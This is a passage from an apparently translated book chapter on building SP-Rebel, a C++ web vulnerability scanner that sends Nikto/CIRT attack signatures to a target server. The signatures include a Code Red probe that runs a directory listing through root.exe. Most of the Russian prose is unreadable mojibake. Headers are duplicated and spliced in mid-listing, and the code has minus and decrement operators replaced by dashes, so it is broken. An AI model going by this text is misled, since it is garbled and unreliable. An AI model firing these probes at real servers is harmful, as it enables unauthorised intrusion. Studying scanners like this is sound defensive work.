÷à, ïîýòîìó ê ýòàïó ïðîåêòèðîâàíèÿ ñëåäóåò ïîäîéòè ñî âñåé ñåðüåçíîñòüþ.

Формат сигнатуры атаки

Ïî÷òè âñå ñîâðåìåííûå ïðîãðàììû ñêàíèðîâàíèÿ èìåþò ôàéëû «öèôðîâûõ
îòïå÷àòêîâ», êîòîðûå ñ÷èòûâàþòñÿ, ðàçáèðàþòñÿ è èñïîëüçóþòñÿ. Ýòè ôàéëû
ïîâûøàþò ãèáêîñòü ïðîãðàììû, òàê êàê ïîçâîëÿþò ëåãêî äîáàâëÿòü íîâûå
îòïå÷àòêè, íå èçìåíÿÿ êîäà ðàçáîðà èëè âûïîëíåíèÿ, à îáû÷íî èìåííî ýòè
÷àñòè ïèñàòü òðóäíåå âñåãî. Ôàéëû öèôðîâûõ îòïå÷àòêîâ ÷àñòî íàçûâàþò
áàçàìè äàííûõ, õîòÿ â äåéñòâèòåëüíîñòè îíè ïðåäñòàâëÿþò ñîáîé îáû÷íûå
òåêñòîâûå ôàéëû. Çàïèñè â íèõ èìåþò åäèíûé ôîðìàò è îáû÷íî íóæäàþòñÿ
â ïðåäâàðèòåëüíîì ðàçáîðå.

Â ñîçäàííîì íàìè ïðèëîæåíèè èñïîëüçóåòñÿ îáùåäîñòóïíàÿ è âåñüìà ïî-
ïóëÿðíàÿ áàçà äàííûõ ñ ñèãíàòóðàìè óÿçâèìîñòåé, ÿâëÿþùàÿñÿ ÷àñòüþ ïðî-
ãðàììû Nikto è ïîääåðæèâàåìàÿ ãðóïïîé CIRT. Áàçà ïîïîëíÿåòñÿ äîáðîâîëü-
öàìè ñî âñåãî ìèðà, íî, ÷òî ñàìîå âàæíîå, âñå ñèãíàòóðû â íåé èìåþò åäè-
íûé ôîðìàò, à èìåííî:

òèï web-ñåðâåðà,êîðíåâîé URL,îòâåò,ìåòîä,äîïîëíèòåëüíûé âûâîä

Ïåðâîå ïîëå îïèñûâàåò òèï óÿçâèìîñòè, ê êîòîðîìó îòíîñèòñÿ äàííàÿ
ñèãíàòóðà, âòîðîå – ýòî êàòàëîã, ôàéë èëè ñòðîêà àòàêè, êîòîðóþ íóæíî ïî-
ñëàòü öåëåâîìó Web-ñåðâåðó. Ïîëå «îòâåò» – ýòî HTTP-êîä âîçâðàòà, îæèäàå-
ìûé îò óÿçâèìîé ñèñòåìû (íàïðèìåð, «200 OK», «502 Bad Gateway» èëè «302
Moved Temporarily»). Ïîëå «ìåòîä» îïèñûâàåò ìåòîä, êîòîðûì çàïðîñ îò-
ïðàâëÿåòñÿ ïî ïðîòîêîëó HTTP. Ïî÷òè âî âñåõ ñëó÷àÿõ ýòî GET èëè POST,
õîòÿ â ïîñëåäíåå âðåìÿ âñå áîëüøå âíèìàíèÿ óäåëÿåòñÿ ìåòîäó TRACE. Ïîñ-
ëåäíåå ïîëå ñîäåðæèò äîïîëíèòåëüíóþ èíôîðìàöèþ, êîòîðóþ ìîæíî
âêëþ÷èòü â îò÷åò èëè ïðîñòî èñïîëüçîâàòü êàê êîììåíòàðèé.

Сигнатуры

Èòàê, ñ ôîðìàòîì ñèãíàòóðû ðàçîáðàëèñü, òåïåðü ðàññìîòðèì ïðèìåðû:

� Ñèãíàòóðà àòàêè íà ôàéë htaccess
“generic”,”/.htaccess”,”200”,”GET”,”Contains authorization information”

� IIS w3proxy.dll
“iis”,”/scri pts/proxy/w3proxy.dll”,”502”,”GET”,”MSProxy v1.0 installed”

Проектирование
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� Çàðàæåíèå ÷åðâåì Code Red
“iis”,”/scripts/root.exe?/c+dir+c:\+/OG”,”Directory of C”,”GET”,”This machine
is infected with Code Red, or has Code Red leftovers”

Углубленный анализ
Ïîíÿâ, êàê óñòðîåíû ñèãíàòóðû àòàê, íóæíî ñäåëàòü ñëåäóþùèé ëîãè÷åñêèé
øàã: ðåàëèçîâàòü ñðåäñòâà äëÿ èõ îðãàíèçîâàííîãî è ìàññîâîãî ïðèìåíåíèÿ.
×òîáû ýôôåêòèâíî ðåøèòü ýòó çàäà÷ó, íóæíî ðàçðàáîòàòü õàêåðñêóþ óòèëè-
òó, áåç êîòîðîé ìû áóäåì âûíóæäåíû âðó÷íóþ ïðîâåðÿòü êàæäóþ óÿçâè-
ìîñòü. Òàêîé óòèëèòîé ÿâëÿåòñÿ íåñëîæíàÿ ïðîãðàììà SP-Rebel, êîòîðàÿ áûëà
íàïèñàíà íà ÿçûêå C++ çà ñðàâíèòåëüíî êîðîòêîå âðåìÿ. Ïðîãðàììà ñîñòîèò
èç ÷åòûðåõ îñíîâíûõ ÷àñòåé: 

� óïðàâëåíèå ñîåäèíåíèÿìè;
� àíàëèç ñèãíàòóð;
� õðàíèëèùå äàííûõ îá óÿçâèìîñòÿõ;
� «ïàêåòíàÿ ïóøêà».

Â ñîâîêóïíîñòè ýòè ÷åòûðå ÷àñòè îïðåäåëÿþò, ÷òî íóæíî ïîñëàòü äëÿ òåñ-
òèðîâàíèÿ, îñóùåñòâëÿþò ñàìî òåñòèðîâàíèå è àíàëèçèðóþò ðåçóëüòàòû. Äëÿ
ðàçáîðà áàçû äàííûõ áûëè ñîçäàíû äâà êëàññà: VulnDBEntry (àíàëèç îäíîé
ñèãíàòóðû) è VulnDB (äîñòóï ê õðàíèëèùó ñèãíàòóð). Äëÿ âûïîëíåíèÿ òåñòè-
ðîâàíèÿ áûëè íàïèñàíû ôóíêöèè óïðàâëåíèÿ ñîåäèíåíèåì íà áàçå ñîêåòîâ
â Windows, ñ ïîìîùüþ êîòîðûõ ðåàëèçîâàíà «ïàêåòíàÿ ïóøêà».

Ñîêåòû è îòïðàâêà ñèãíàòóðûÑîêåòû è îòïðàâêà ñèãíàòóðûÑîêåòû è îòïðàâêà ñèãíàòóðûÑîêåòû è îòïðàâêà ñèãíàòóðûÑîêåòû è îòïðàâêà ñèãíàòóðû
Â ôàéëå sp-rebel.cpp íàõîäÿòñÿ ñðåäñòâà óïðàâëåíèÿ ñîåäèíåíèåì è «ïàêåòíàÿ
ïóøêà». Çäåñü îïðåäåëåíû ôóíêöèè äëÿ îòïðàâêè Web-ñåðâåðó çàïðîñà, ñî-
äåðæàùåãî ñòðîêó àòàêè íà ïîòåíöèàëüíóþ óÿçâèìîñòü. Ôóíêöèÿ main() èí-
òåðïðåòèðóåò ïåðåäàííûå ïðîãðàììå àðãóìåíòû: èìÿ õîñòà, íîìåð ïîðòà,
ñòåïåíü ïîäðîáíîñòè âûâîäèìîé èíôîðìàöèè è ðàçìåð áóôåðà. Çàòåì óñòà-
íàâëèâàåòñÿ ñîåäèíåíèå, îòïðàâëÿåòñÿ çàïðîñ è àíàëèçèðóåòñÿ ïîëó÷åííûé
îòâåò.

1 /*

2  * sp-rebel.cpp

3  *

4  * james c. foster jamescfoster@gmail.com

5  * mike price <mike@insidiae.org>

6  * tom ferris <tommy@security-protocols.com>

7  * kevin harriford <kharrifo@csc.com>
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 8  */

 9
10 #define WIN32_LEAN_AND_MEAN

11
12 #include <winsock2.h>

13 #include <windows.h>

14 #include <stdio.h>

15 #include "VulnDB.h"

16
17 #pragma comment(lib, "ws2_32.lib")

18
19 #define DB_FILENAME "scan_database.db"

20 #define BUF_SIZE   0x0400

21 #define DEF_PORT   80

22
23 int output = 0;

24
25 /*

26  * ñïèñîê CGIDIRS

27  */

28 #define CGIDIRS_LEN   0x02

29
30 string CGIDIRS[CGIDIRS_LEN] =

31 {

32   "/cgi-bin/",

33   "/scripts/"

34
35   /* ñþäà äîáàâèòü äðóãèå êàòàëîãè CGI-ïðîãðàìì */

36 };

37
38 /*

39  * ñïèñîê ADMINDIRS

40  */

41 #define ADMINDIRS_LEN   0x01

42
43 string ADMINDIRS[ADMINDIRS_LEN] =

44 {

45   "/admin/"

46
47   /* ñþäà äîáàâèòü äðóãèå êàòàëîãè àäìèíèñòðàòèâíûõ ïðîãðàìì */

48 };

49
50 /*

51  * twiddle()

52  *

53  *

54  */

55 void twiddle (int &pos,

56               int  idx,

Углубленный анализ
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 57               int  size)

 58 {

 59   char ch = 0;

 60
 61   ch = (pos == 0 ? '|' :

 62        (pos == 1 ? '/' :

 63        (pos == 2 ? '-' :

 64                    '\\')));

 65   ++pos;

 66
 67   if(pos == 4)

 68   {

 69      pos = 0;

 70   }

 71
 72   printf("\r%c %d èç %d", ch, idx, size);

 73 }

 74
 75 /*

 76  * isvuln()

 77  *

 78  *

 79  */

 80 void isvuln (char *hostname, int port, VulnDBEntry *vdbe)

 81 {

 82   printf("————————————————————————————————————————————

\r\n");

 83   printf("\r\nÕîñò: %s @ %d\r\n\r\nÎïèñàíèå:\r\n\r\n%s.\r\n",

              hostname, port, vdbe->GetDesc().c_str());

 84 }

 85
 86 /*

 87  * doreq()

 88  *

 89  *

 90  */

 91 bool doreq (         char        *hostname,

 92             unsigned int          addr,

 93                      int          port,

 94                      VulnDBEntry *vdbe,

 95                      int          bufsize,

 96                      string      &req)

 97 {

 98   struct sockaddr_in sin;

 99   SOCKET sock = 0;

100   bool   vuln = false;

101   char  *buf  = NULL;

102   int    ret  = 0;

103
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104   buf = new char[bufsize];

105   if(buf == NULL)

106   {

107     printf("\r\n*** îøèáêà âûäåëåíèÿ ïàìÿòè (ïðè âûïîëíåíèè new

         char[%d]).\r\n", bufsize);

108     return(false);

109   }

110
111   sock = socket(AF_INET, SOCK_STREAM, 0);

112   if(sock < 0)

113   {

114     delete buf;

115     printf("\r\n*** îøèáêà socket() ïðè ñîåäèíåíèè ñ öåëüþ äëÿ äàííîãî

         çàïðîñà.\r\n");

116     return(false);

117   }

118
119   memset(&sin, 0x0, sizeof(sin));

120   sin.sin_family      = AF_INET;

121   sin.sin_port        = htons(port);

122   sin.sin_addr.s_addr = addr;

123
124   // ñîåäèíèòüñÿ ñ óäàëåííûì TCP-ïîðòîì

125   ret = connect(sock, (struct sockaddr *) &sin, sizeof(sin));

126   if(ret < 0)

127   {

128     delete buf;

129     printf("\r\n*** îøèáêà connect() ïðè ñîåäèíåíèè ñ öåëüþ äëÿ äàííîãî

         çàïðîñà.\r\n");

130     closesocket(sock);

131     return(false);

132   }

133
134   // ñîåäèíåíèå óñòàíîâëåíî..

135
136   // îòïðàâèòü çàïðîñ

137   ret = send(sock, req.c_str(), req.length(), 0);

138   if(ret != req.length())

139   {

140     delete buf;

141     printf("\r\n*** îøèáêà send() ïðè îòïðàâêå äàííûõ äëÿ äàííîãî

         çàïðîñà.\r\n");

142     closesocket(sock);

143     return(false);

144   }

145
146   // ïîëó÷èòü îòâåò

147   ret = recv(sock, buf, bufsize, 0);

148   if(ret <= 0)

Углубленный анализ
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149   {

150     delete buf;

151     printf("\r\n*** îøèáêà recv() ïðè ïðè ïîëó÷åíèè îòâåòà äëÿ äàííîãî

         çàïðîñà).\r\n");

152     closesocket(sock);

153     return(false);

154   }

155
156   closesocket(sock);

157
158   buf[ret – 1] = '\0';

159
160   // ïîëó÷åí îòâåò 200 OK?

161   if(!strcmp(vdbe->GetResult().c_str(), "200"))

162   {

163     if(strstr(buf, "200 OK") != NULL)

164     {

165       vuln = true;

166     }

167   }

168   else

169   {

170     if(strstr(buf, vdbe->GetResult().c_str()) != NULL)

171     {

172       vuln = true;

173     }

174   }

175
176   if(vuln)

177   {

178     if (output ==1)

179     {

180       printf("\r\n\r\n*** ÓßÇÂÈÌÀ.\r\n\r\n");

181       printf("ÇÀÏÐÎÑ :\r\n\r\n%s\r\n", req.c_str());

182       printf("ÎÒÂÅÒ:\r\n\r\n%s\r\n", buf);

183     }

184     else

185     {

186       printf("ÖÅËÜ: %s @ %d, ÓÑÏÅØÍÛÉ ÀÒÀÊÓÞÙÈÉ ÇÀÏÐÎÑ :%s",

                 hostname, port, req.c_str());

187     }

188
189     delete buf;

190     return(true);

191   }

192
193   delete buf;

194
195   return(false);
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196 }

197
198 /*

199  * check()

200  *

201  *

202  */

203 bool check (         char        *hostname,

204             unsigned int          addr,

205                      int          port,

206                      VulnDBEntry *vdbe,

207                      int          bufsize)

208 {

209   string::size_type posx;

210   string cgidirs = "@CGIDIRS";

211   string admdirs = "@ADMINDIRS";

212   string req;

213   string path;

214   string t1 = "";

215   bool   docgi   = false;

216   bool   doadm   = false;

217   bool   ret     = false;

218   int    cnt     = 1;

219   int    idx     = 0;

220
221   // åñòü ëè ïîäñòðîêà @CGIDIRS?

222   posx = vdbe->GetPath().find(cgidirs);

223   if(posx != string::npos)

224   {

225     docgi = true;

226     cnt   = CGIDIRS_LEN;

227   }

228   else

229   {

230     // åñòü ëè ïîäñòðîêà @ADMINDIRS?

231     posx = vdbe->GetPath().find(admdirs);

232     if(posx != string::npos)

233     {

234       doadm = true;

235       cnt   = ADMINDIRS_LEN;

236     }

237   }

238
239   for(idx=0; idx < cnt; ++idx)

240   {

241     if(docgi)

242     {

243       if(posx > 0)

244       {

Углубленный анализ
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245         t1 = vdbe->GetPath().substr(0, posx);

246       }

247
248       path = t1 + CGIDIRS[idx] + vdbe->GetPath().substr(posx +

           cgidirs.length(), vdbe->GetPath().length() – cgidirs.length());

249     }

250     else if(doadm)

251     {

252       if(posx > 0)

253       {

254         t1 = vdbe->GetPath().substr(0, posx);

255       }

256
257       path = t1 + ADMINDIRS[idx] + vdbe->GetPath().substr(posx +

           admdirs.length(), vdbe->GetPath().length() – admdirs.length());

258     }

259     else

260     {

261       path = vdbe->GetPath();

262     }

263
264     // ïîñòðîèòü çàïðîñ ïî ïðîòîêîëó HTTP 1.0

265     req = vdbe->GetMethod()

266           + " "

267           + path

268           + " HTTP/1.0\r\n\r\n";

269
270     ret = doreq(hostname, addr, port, vdbe, bufsize, req);

271     if(ret == true)

272     {

273       return(true);

274     }

275   }

276
277   return(false);

278 }

279
280 /*

281  * resolve()

282  *

283  *

284  */

285 bool resolve (         char *hostname,

286               unsigned int  *addr)

287 {

288   struct hostent *he = NULL;

289
290   *addr = inet_addr(hostname);

291   if(*addr == INADDR_NONE)
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292   {

293     he = gethostbyname(hostname);

294     if(he == NULL)

295     {

296       return(false);

297     }

298
299     memcpy(addr, he->h_addr, he->h_length);

300   }

301
302   return(true);

303 }

304
305 /*

306  * usage()

307  *

308  *

309  */

310 void usage ()

311 {

312   printf("Webserver Scanner by the Author's of Advanced Security

       Programming: Price, Foster, and Tommy \r\n");

313   printf("We use CIRT's awesome and freely available VulnDB!

       \r\n\r\n");

314   printf("Usage: sprebel.exe hostname <port> <0|1> <bufsize>\r\n");

315   printf("<0> = Default, Minimal Output\r\n");

316   printf("<1> = Verbose Output – show me the request and response

       buffer\r\n");

317 }

318
319 int

320 main(int argc, char *argv[])

321 {

322   unsigned int addr    = 0;

323   VulnDBEntry *vdbe    = NULL;

324   WSADATA      wsa;

325   VulnDB       vdb;

326   bool         ret     = false;

327   int          bufsize = 0;

328   int          port    = 0;

329   int          pos     = 0;

330   int          x       = 0;

331
332   memset(&wsa, 0x0, sizeof(WSADATA));

333   if(WSAStartup(MAKEWORD(1,1), &wsa) != 0)

334   {

335     printf("\r\n*** îøèáêà %d WSAStartup() ïðè èíèöèàëèçàöèè WSA.\r\n",

         GetLastError());

336     return(1);

Углубленный анализ
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337   }

338
339   // îáðàáîòàòü àðãóìåíòû â êîìàíäíîé ñòðîêå

340   if(argc < 3)

341   {

342     usage ();

343     return(1);

344   }

345
346   ret = resolve(argv[1], &addr);

347   if(ret != true)

348   {

349     printf("\r\n*** îøèáêà resolve() ïðè ðàçðåøåíèè èìåíè õîñòà.\r\n");

350     return(1);

351   }

352
353   port = DEF_PORT;

354   if(argc >= 3)

355   {

356     port = atoi(argv[2]);

357   }

358
359   if(argc >=4)

360   {

361     output = atoi(argv[3]);

362   }

363
364   bufsize  = BUF_SIZE;

365   if(argc >= 5)

366   {

367     bufsize = atoi(argv[4]);

368   }

369
370   printf("õîñò/àäðåñ: %s; ïîðò: %d; âûâîäèòü: %d; äëèíà áóôåðà:

       %d;\r\n", argv[1], port, output, bufsize);

371
372   // çàãðóçèòü áàçó äàííûõ îá óÿçâèìîñòÿõ

373   ret = vdb.Init(DB_FILENAME);

374   if(ret == false)

375   {

376     printf("\r\n*** îøèáêà VulnDB.Init(%s) ïðè èíèöèàëèçàöèè áàçû

         äàííûõ îá óÿçâèìîñòÿõ.\r\n", DB_FILENAME);

377     return(1);

378   }

379
380   // ïðîâåðèòü äëÿ êàæäîé çàïèñè

381   for(x=0; x < vdb.Size(); ++x)

382   {

383     vdbe = vdb.GetEntry(x);



715

384
385     ret = check(argv[1], addr, port, vdbe, bufsize);

386     if(ret == true && output == 1)

387     {

388       isvuln(argv[1], port, vdbe);

389     }

390
391     if(output == 1)

392     {

393       twiddle(pos, x, vdb.Size());

394     }

395   }

396
397   printf("\r\n ÑÊÀÍÈÐÎÂÀÍÈÅ ÇÀÂÅÐØÅÍÎ!\r\n");

398
399   WSACleanup();

400
401   return(0);

402 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 12–17 âêëþ÷àþòñÿ íåîáõîäèìûå ïðîãðàììå çàãîëîâî÷íûå ôàéëû,
â ÷àñòíîñòè, îïèñûâàþùèå ôóíêöèè ðàáîòû ñ ñîêåòàìè è êëàññ äëÿ ðàçáîðà
áàçû äàííûõ VulnDB.

Â ñòðîêå 19 îïðåäåëåíà êîíñòàíòà DB_FILENAME – èìÿ ôàéëà, ñîäåðæàùå-
ãî áàçó äàííûõ îá óÿçâèìîñòÿõ. Ïîñêîëüêó ìû ïîëüçóåìñÿ áàçîé äàííûõ
CIRT, òî ôàéë ïî óìîë÷àíèþ íàçûâàåòñÿ scan_database.db.

Â ñòðîêàõ 20–23 îïðåäåëåíû ïðèíèìàåìûå ïî óìîë÷àíèþ çíà÷åíèÿ ïàðà-
ìåòðîâ. Èìÿ õîñòà – ýòî åäèíñòâåííûé îáÿçàòåëüíûé àðãóìåíò ïðîãðàììû.

Â ñòðîêàõ 28–36 îïðåäåëåí ìàññèâ CGIDIRS. Êîíñòàíòà CGIDIRS_LEN ðàâíà
÷èñëó ýëåìåíòîâ â ýòîì ìàññèâå, à êàæäûé ýëåìåíò – ýòî ñòðîêà, îïèñûâàþ-
ùàÿ îäèí èç êàòàëîãîâ, ãäå îáû÷íî õðàíÿòñÿ CGI-ïðîãðàììû. Ïðåäñòàâëåí-
íûé ñïèñîê ìèíèìàëåí.

Â ñòðîêàõ 38–48 îïðåäåëåí ìàññèâ ADMINDIRS, îïèñûâàþùèé êàòàëîãè,
ãäå îáû÷íî õðàíÿòñÿ àäìèíèñòðàòèâíûå ïðîãðàììû. Îí óñòðîåí àíàëîãè÷-
íî CGIDIRS.

Â ñòðîêàõ 55–73 îïðåäåëåíà ôóíêöèÿ twiddle(). Îíà ïå÷àòàåò èíôîðìàöèþ
î ñîñòîÿíèè ðàáîòû, çíàÿ èíäåêñ òåêóùåé çàïèñè â áàçå è îáùåå êîëè÷åñòâî
çàïèñåé. Òåì ñàìûì ïîëüçîâàòåëü ìîæåò âèäåòü, êàê ïðîäâèãàåòñÿ äåëî, íî
òîëüêî åñëè ïðîãðàììà çàïóùåíà ñ ôëàãîì output, ðàâíûì 1.

Â ñòðîêàõ 76–84 îïðåäåëåíà ôóíêöèÿ isvuln(). Îíà âûçûâàåòñÿ òîëüêî â ñëó-
÷àå îáíàðóæåíèÿ óÿçâèìîñòè íà öåëåâîé ìàøèíå è ïå÷àòàåò íîìåð ïîðòà
è îïèñàíèå óÿçâèìîñòè.

Углубленный анализ
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Â ñòðîêàõ 86–196 îïðåäåëåíà ôóíêöèÿ doreq(). Îíà îòâå÷àåò çà óñòàíîâëåíèå
ñîåäèíåíèÿ è ïåðåäà÷ó çàïðîñà ñî ñòðîêîé àòàêè. Â ñòðîêàõ 98–156 ïðîèñõîäèò
ñîçäàíèå ñîêåòà è ðàáîòà ñ íèì. Ïîäðîáíåå î ñîêåòàõ ñì. ãëàâó 3, à ñåé÷àñ äîñòà-
òî÷íî çíàòü, ÷òî íà stdout âûâîäèòñÿ ñîîáùåíèå, åñëè ïðè ðàáîòå ñ ñîêåòîì
ïðîèçîøëà îøèáêà. Êðîìå òîãî, â ýòîì ñëó÷àå ôóíêöèÿ âîçâðàùàåò false.

Ïîñëå òîãî êàê ñîåäèíåíèå óñòàíîâëåíî è òåñò ïðîâåäåí, ïîëó÷åííûé îò-
âåò àíàëèçèðóåòñÿ íà ïðåäìåò íàëè÷èÿ óÿçâèìîñòè. Â ñòðîêàõ 161–191 ìû ïðî-
âåðÿåì, ïîëó÷åí ëè îòâåò «200 OK» èëè óêàçàííûé â ñèãíàòóðå àòàêè.

Â ñòðîêàõ 198–278 îïðåäåëåíà ôóíêöèÿ check(). Îíà ñìîòðèò, åñòü ëè â ïóòè,
çàäàííîì â ñèãíàòóðå, óêàçàíèå íà òî, ÷òî íóæíî ïðîñìàòðèâàòü êàòàëîãè
àäìèíèñòðàòèâíûõ èëè CGI-ïðîãðàìì. Åñëè íåò, òî çàäàííûé ïóòü áåç èçìå-
íåíèÿ äîáàâëÿåòñÿ ê çàïðîñó, ïåðåäàâàåìîìó doreq().

Â ñòðîêàõ 221–227 ïðîâåðÿåòñÿ, åñòü ëè â çàäàííîì ïóòè ïîäñòðîêà @CGIDIRS.
Åñëè åñòü, ïîäíèìàåòñÿ ôëàæîê iscgi, è òîãäà â ñòðîêàõ 239–275 òåñò âûïîëíÿ-
åòñÿ äëÿ êàæäîãî èç êàòàëîãîâ, ïåðå÷èñëåííûõ â ìàññèâå CGIDIRS, èëè ïîêà
íå áóäåò ïîëó÷åí ïîëîæèòåëüíûé ðåçóëüòàò. Àíàëîãè÷íî îáðàáàòûâàåòñÿ
ïîäñòðîêà @ADMINDIRS, åñëè @CGIDIRS îòñóòñòâóåò.

Â ñòðîêàõ 280–283 îïðåäåëåíà ôóíêöèÿ resolve(). Îíà îïðåäåëÿåò IP-àäðåñ,
ñîîòâåòñòâóþùèé óêàçàííîìó â êîìàíäíîé ñòðîêå èìåíè õîñòà. Åñëè ïîèñê
çàâåðøèëñÿ óñïåøíî, òî ôóíêöèÿ âîçâðàùàåò true, à â ïàðàìåòð addr çàïèñû-
âàåòñÿ íàéäåííûé IP-àäðåñ.

Â ñòðîêàõ 305–317 îïðåäåëåíà ôóíêöèÿ usage(). Îíà âûçûâàåòñÿ, åñëè â êî-
ìàíäíîé ñòðîêå çàäàíî íåäîñòàòî÷íîå ÷èñëî àðãóìåíòîâ, è ïðîñòî ïå÷àòàåò
ñïðàâêó î ïîðÿäêå çàïóñêà.

Â ñòðîêå 320 íà÷èíàåòñÿ ôóíêöèÿ main(). Èìåííî â íåé ðåàëèçîâàíà îáùàÿ
ëîãèêà ïðîãðàììû.

Â ñòðîêàõ 332 è 333 îáíóëÿåòñÿ ñòðóêòóðà WSADATA, à çàòåì âûçûâàåòñÿ
ôóíêöèÿ WSAStartup(), êîòîðàÿ çàãðóæàåò è èíèöèàëèçèðóåò áèáëèîòåêó
ws2.dll. Åñëè èíèöèàëèçàöèÿ çàâåðøèëàñü ñ îøèáêîé, ïå÷àòàåòñÿ ñîîáùåíèå
è ïðîãðàììà çàâåðøàåòñÿ ñ êîäîì 1.

Â ñòðîêàõ 339–370 îáðàáàòûâàþòñÿ ïåðåäàííûå ïðîãðàììå àðãóìåíòû.
Â ñòðîêå 340 ïðîâåðÿåòñÿ èõ ÷èñëî. Åñëè àðãóìåíòîâ íåäîñòàòî÷íî, ïå÷àòàåòñÿ
ñïðàâêà î ïîðÿäêå âûçîâà. Â ñòðîêå 346 èìÿ õîñòà ïðåîáðàçóåòñÿ â IP-àäðåñ.
Â ñòðîêå 353 îáðàáàòûâàåòñÿ íîìåð ïîðòà; åñëè îí íå çàäàí, ïî óìîë÷àíèþ
ïðåäïîëàãàåòñÿ ïîðò 80. Àíàëîãè÷íî îáðàáàòûâàþòñÿ ïàðàìåòðû, îïðåäåëÿ-
þùèå ñòåïåíü ïîäðîáíîñòè âûâîäà è ðàçìåð áóôåðà. Ïåðåä òåì êàê ïðîäîë-
æèòü, ïðîãðàììà ïå÷àòàåò ïàðàìåòðû, ñ êîòîðûìè áóäåò ðàáîòàòü.

Â ñòðîêå 373 âíóòðåííèå ñòðóêòóðû çàïîëíÿþòñÿ èíôîðìàöèåé, ïðî÷èòàí-
íîé èç ôàéëà DB_FILENAME (ïî óìîë÷àíèþ scan_database.db).

Â ñòðîêàõ 380–395 â öèêëå äëÿ êàæäîé îïèñàííîé â áàçå óÿçâèìîñòè âûçû-
âàåòñÿ ôóíêöèÿ check(), êîòîðàÿ ïðîâåðÿåò åå íàëè÷èå íà öåëåâîé ìàøèíå.
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Åñëè check() âåðíóëà true è ïîäíÿò ôëàæîê output, òî âûçûâàåòñÿ ôóíêöèÿ
isvuln(), êîòîðàÿ ïå÷àòàåò èíôîðìàöèþ îá óÿçâèìîñòè. Êðîìå òîãî, âûçûâà-
åòñÿ ôóíêöèÿ twiddle(), ïå÷àòàþùàÿ ñîîáùåíèå î òîì, êàê äàëåêî ïðîãðàììà
ïðîäâèíóëàñü.

Â ñòðîêå 397 ïðîãðàììà èçâåùàåò ïîëüçîâàòåëÿ î çàâåðøåíèè ñêàíèðîâàíèÿ.
Â ñòðîêå 399 âûçûâàåòñÿ ôóíêöèÿ WSACleanup(), êîòîðàÿ îñâîáîæäàåò ðå-

ñóðñû, ïîñëå ÷åãî ïðîãðàììà âûõîäèò ñ êîäîì 0.

Ðàçáîð áàçû äàííûõÐàçáîð áàçû äàííûõÐàçáîð áàçû äàííûõÐàçáîð áàçû äàííûõÐàçáîð áàçû äàííûõ
×òîáû óñïåøíî ðàçðàáàòûâàòü õàêåðñêèå ïðîãðàììû, íóæíî õîðîøî ïîíè-
ìàòü, êàêèå äåéñòâèÿ íåîáõîäèìû äëÿ âûïîëíåíèÿ ñêàíèðîâàíèÿ. Â ÷àñòíî-
ñòè, â òàêîé ïðîãðàììå îáÿçàòåëüíî äîëæíû áûòü ñðåäñòâà äëÿ ðàçáîðà äàí-
íûõ î ñèãíàòóðàõ óÿçâèìîñòåé. Ìû ðåàëèçîâàëè òàêîé ìåõàíèçì â êëàññàõ
VulnDB è VulnDBEntry.

Êëàññ VulnDB ÷èòàåò ôàéë, óäàëÿåò ëèøíèå ïðîáåëû â íà÷àëå è êîíöå
ñòðîêè, ïðîïóñêàåò ñòðîêè, ñîäåðæàùèå òîëüêî êîììåíòàðèé, à îñòàâøèåñÿ
ïåðåäàåò äëÿ îáðàáîòêè êëàññó VulnDBEntry.

 1 /*

 2  * VulnDB.cpp

 3  *

 4  *

 5  *

 6  */

 7
 8 #include <windows.h>

 9 #include <stdio.h>

10 #include "VulnDB.h"

11
12 #define VULNDB_BUF_SIZE   0x0400

13 #define VULNDB_COMMENT    '#'

14
15 /*

16  * strtrim()

17  *

18  *

19  */

20 static

21 char *strtrim(char *sin, char *sout)

22 {

23   int len  = 0;

24   int idxl = 0;

25   int idxt = 0;

26
27   len = strlen(sin);

Углубленный анализ
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28   sout[0] = '\0';

29
30   if(len <= 0)

31   {

32     return(sout);

33   }

34
35   // íà÷àëüíûå

36   for(idxl=0; idxl < len; ++idxl)

37   {

38     if(sin[idxl] != ' '  &&

39        sin[idxl] != '\t' &&

40        sin[idxl] != '\r' &&

41        sin[idxl] != '\n')

42     {

43        break;

44     }

45   }

46
47   // õâîñòîâûå

48   for(idxt=len – 1; idxt >= 0; —idxt)

49   {

50     if(sin[idxt] != ' '  &&

51        sin[idxt] != '\t' &&

52        sin[idxt] != '\r' &&

53        sin[idxt] != '\n')

54     {

55        break;

56     }

57   }

58
59   // òîëüêî ïðîáåëû

60   if(idxl == len)

61   {

62     return(sout);

63   }

64
65   // êîïèðîâàòü

66   len = idxt – idxl + 1;

67   strncpy(sout, sin + idxl, len);

68   sout[len] = '\0';

69
70   return(sout);

71 }

72
73 /*

74  * VulnDB()

75  *

76  *
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 77  */

 78 VulnDB::VulnDB()

 79 {

 80 }

 81
 82 /*

 83  * ~VulnDB()

 84  *

 85  *

 86  */

 87 VulnDB::~VulnDB()

 88 {

 89   VulnDBEntry *vde = NULL;

 90   int          idx = 0;

 91
 92   for(idx=0; idx < m_vec.size(); ++idx)

 93   {

 94     vde        = m_vec[idx];

 95     delete vde;

 96     m_vec[idx] = NULL;

 97   }

 98
 99   m_vec.clear();

100 }

101
102 /*

103  * Init()

104  *

105  *

106  */

107 bool VulnDB::Init(string filename)

108 {

109   VulnDBEntry *vdbe = NULL;

110   FILE        *fptr = NULL;

111   char         tmp[VULNDB_BUF_SIZE];

112   char         buf[VULNDB_BUF_SIZE];

113   bool         ret   = 0;

114
115   fptr = fopen(filename.c_str(), "r");

116   if(fptr == NULL)

117   {

118     return(false);

119   }

120
121   // äëÿ êàæäîé ñòðîêå â ôàéëå, êðîìå êîììåíòàðèåâ:

122   // ðàçîáðàòü

123   // ñîõðàíèòü â ñïèñêå óçëîâ

124   // ñîõðàíèòü â ñïèñêå

125

Углубленный анализ
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126   int x =0;

127
128   while(fgets(tmp, VULNDB_BUF_SIZE, fptr) != NULL)

129   {

130     strtrim(tmp, buf);

131
132     if(strlen(buf) == 0 ||

133        buf[0]      == VULNDB_COMMENT)

134     {

135        continue;

136     }

137
138     vdbe = new VulnDBEntry();

139     if(vdbe == NULL)

140     {

141       fclose(fptr );

142       return(false);

143     }

144
145     ret = vdbe->Init(buf);

146     if(ret != true)

147     {

148       fclose(fptr);

149       return(false);

150     }

151
152     m_vec.push_back(vdbe);

153   }

154
155   fclose(fptr);

156
157   return(true);

158 }

159
160 /*

161  * Size()

162  *

163  *

164  */

165 int VulnDB::Size()

166 {

167   return(m_vec.size());

168 }

169
170 /*

171  * GetEntry()

172  *

173  *

174  */

175 VulnDBEntry *VulnDB::GetEntry(int idx)
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176 {

177   VulnDBEntry *vde = NULL;

